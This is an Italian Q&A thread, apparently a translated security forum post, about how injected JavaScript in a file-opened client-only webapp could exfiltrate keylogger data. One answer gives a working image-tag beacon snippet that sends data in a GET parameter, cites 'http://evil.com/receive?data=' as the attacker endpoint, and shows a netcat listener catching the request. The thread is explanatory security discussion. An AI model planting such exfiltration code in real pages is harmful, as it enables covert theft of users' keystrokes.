Come può un keylogger raccogliere e trasmettere dati da una webapp client-only eseguita da file?

0

Per una webapp solo lato client viene eseguita da un file, come può un keylogger raccogliere i dati e quindi trasmetterli?

In questo scenario, limita l'ambito al solo codice client, che in qualche modo un utente malintenzionato ha inserito il codice. Le vulnerabilità esterne al browser non sono comprese nell'ambito. Non ci sono flash o java nel codice originale, e si supponga che il client abbia disabilitato il flash e non permetta l'esecuzione di java. Tutto il codice originale è HTML, CSS e JavaScript. Ci sono alcune immagini web-safe come quelle fornite con jQuery.

Mi sembra che possa essere facilmente letto tramite uno snippet di codice JavaScript, ma come può essere trasmesso? Solo socket Web?

    
posta Anders 31.07.2014 - 02:53
fonte

2 risposte

2

Non sono sicuro di aver capito la domanda o meno. Ma è successo che nel mio lavoro, abbiamo scritto diversi logger javascript per la digitazione della battitura della biometria. dove gli eventi raccolti (key-up / keydown) vengono inviati a un altro server che non ospita lo script del keylogger.

Lo facciamo usando Web Socket come suggerito o usando JSONP

    
risposta data 31.07.2014 - 06:25
fonte
1

Sembra che tu stia cercando di aggirare la stessa politica di origine . Non è possibile trasmettere dati da una pagina Web aperta con il protocollo file:// utilizzando AJAX. Tuttavia, un modo per farlo (probabilmente ce ne sono altri) è aggiungere un tag immagine alla pagina con src="http://evil.com/receive?data=<data>" e inserire i dati del keylogger in <data> . Questo costringerà il browser a fare una richiesta GET a http://evil.com/receive con i tuoi dati nel parametro get data .

Modifica:

Ecco un esempio:

<script>
var data = 'Hello!';
var img = document.createElement('img');
img.setAttribute('src', 'http://localhost:2000/test.php?data='+encodeURIComponent(data))
document.body.appendChild(img);
</script>

Puoi testarlo eseguendo un server web locale o netcat su port 2000:

netcat -lp 2000

Quando apro il file in un browser, vedo le intestazioni inviate:

GET /test.php?data=Hello! HTTP/1.1
Host: localhost:2000
User-Agent: <redacted>
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

Da questo puoi estrarre i dati nel parametro data .

    
risposta data 31.07.2014 - 07:57
fonte

Leggi altre domande sui tag